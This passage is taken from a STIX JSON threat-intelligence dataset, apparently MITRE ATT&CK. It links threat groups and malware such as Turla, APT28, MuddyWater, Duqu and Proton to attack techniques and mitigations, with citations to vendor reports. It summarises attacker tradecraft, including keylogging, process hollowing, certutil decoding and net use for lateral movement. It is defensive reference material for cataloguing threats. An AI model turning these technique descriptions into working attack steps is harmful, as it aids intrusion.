                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.245Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
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            "source_ref": "course-of-action--08e02f67-ea09-4f77-a70b-414963c29fc2",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a",
            "type": "relationship",
            "modified": "2020-01-31T18:59:01.134Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "source_ref": "course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
            "type": "relationship",
            "modified": "2020-03-30T13:47:30.060Z",
            "created": "2017-05-31T21:33:27.029Z"
        },
        {
            "id": "relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.334Z",
            "created": "2017-05-31T21:33:27.054Z"
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            "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses the <code>ipconfig</code> command.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.006Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "id": "relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29",
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            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "(Citation: Kaspersky Turla)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.656Z",
            "created": "2017-05-31T21:33:27.045Z"
        },
        {
            "id": "relationship--97a68907-3642-4f23-aeae-55ad5bbd7b86",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FruitFly](https://attack.mitre.org/software/S0277) takes screenshots of the user's desktop.(Citation: objsee mac malware 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-01-17T19:43:39.459Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) can track key presses with a keylogger module.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
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                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:44:22.205Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0",
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            "object_marking_refs": [
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            "source_ref": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
            "type": "relationship",
            "modified": "2020-03-13T21:03:18.913Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ab27d055-77bb-4a3d-89b2-771e532f7384",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of files.(Citation: Symantec Pasam May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Pasam May 2012",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-02-11T19:38:06.237Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0b4cd78b-e0af-4123-b2aa-02ad66cca419",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Briba](https://attack.mitre.org/software/S0204) installs a service pointing to a malicious DLL dropped to disk.(Citation: Symantec Briba May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Briba May 2012",
                    "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"
                }
            ],
            "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2021-02-09T14:56:14.783Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) may gather a list of running processes by running <code>tasklist /v</code>.(Citation: AlienVault Sykipot 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-16T17:50:28.616Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--11a7431f-416f-48de-a3c0-8782abdede63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.515Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a6ddb76d-4317-4cfd-9e1d-57d8a0c5fb21",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used [certutil](https://attack.mitre.org/software/S0160) in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used <code>certutil -decode</code> to decode files on the victim\u2019s machine when dropping [UPPERCUT](https://attack.mitre.org/software/S0275).(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
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                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "source_name": "Accenture Hogfish April 2018"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "source_name": "FireEye APT10 Sept 2018"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.521Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--891a97f1-d3e2-45ff-a079-43dcad21a175",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload was packed with UPX.(Citation: Securelist Dropping Elephant)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
                    "source_name": "Securelist Dropping Elephant"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2020-03-19T19:58:58.101Z",
            "created": "2017-05-31T21:33:27.077Z"
        },
        {
            "id": "relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                }
            ],
            "description": "(Citation: FireEye APT32 May 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.973Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a2423ac3-94b4-4936-962b-06562115cb70",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Lateral movement can be done with [Net](https://attack.mitre.org/software/S0039) through <code>net use</code> commands to connect to the on remote systems.(Citation: Savill 1999)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.618Z",
            "created": "2017-12-14T16:46:06.044Z"
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        {
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            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "description": "(Citation: FireEye admin@338)",
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            "modified": "2019-09-04T19:48:17.668Z",
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            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "description": "(Citation: Rancor Unit42 June 2018)",
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                {
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "source_name": "Crowdstrike DNC June 2016"
                },
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
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            "description": "[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim\u2019s machine before exfiltration.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)",
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                {
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                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                },
                {
                    "source_name": "Symantec Calisto July 2018",
                    "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"
                }
            ],
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                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "source_name": "Crowdstrike DNC June 2016"
                },
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                }
            ],
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            "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c",
            "relationship_type": "uses",
            "target_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
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                {
                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
                    "source_name": "Microsoft NEODYMIUM Dec 2016"
                },
                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"
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            "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can communicate over HTTP for C2.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
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            ],
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                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
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            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
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                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "(Citation: Kaspersky Turla)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.633Z",
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            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen loaded into msiexec.exe through process hollowing to hide its execution.(Citation: Palo Alto Networks BBSRAT)",
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                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
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            "type": "relationship",
            "modified": "2019-04-24T23:10:02.411Z",
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        },
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            "relationship_type": "uses",
            "target_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
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                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                }
            ],
            "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater June 2019)",
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            "description": "[Daserf](https://attack.mitre.org/software/S0187) leverages [Mimikatz](https://attack.mitre.org/software/S0002) and [Windows Credential Editor](https://attack.mitre.org/software/S0005) to steal credentials.(Citation: Symantec Tick Apr 2016)",
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            ],
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                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) uses a keylogger to capture keystrokes.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:34:50.167Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses VBScripts.(Citation: Unit 42 QUADAGENT July 2018)",
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            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-18T19:15:15.005Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) exfiltrates data over the same channel used for C2.(Citation: ESET Sednit Part 2)",
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            ],
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                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.509Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--84a213fc-604f-441f-ba18-feab32085a50",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use DDE to execute additional payloads on compromised hosts.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "type": "relationship",
            "modified": "2019-04-22T22:36:52.989Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is executed using rundll32.exe.(Citation: F-Secure Sofacy 2015)(Citation: Talos Seduploader Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/",
                    "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.",
                    "source_name": "F-Secure Sofacy 2015"
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-20T16:40:41.241Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Nidiran](https://attack.mitre.org/software/S0118) can create a new service named msamger (Microsoft Security Accounts Manager).(Citation: Symantec Backdoor.Nidiran)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Backdoor.Nidiran",
                    "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
            "relationship_type": "uses",
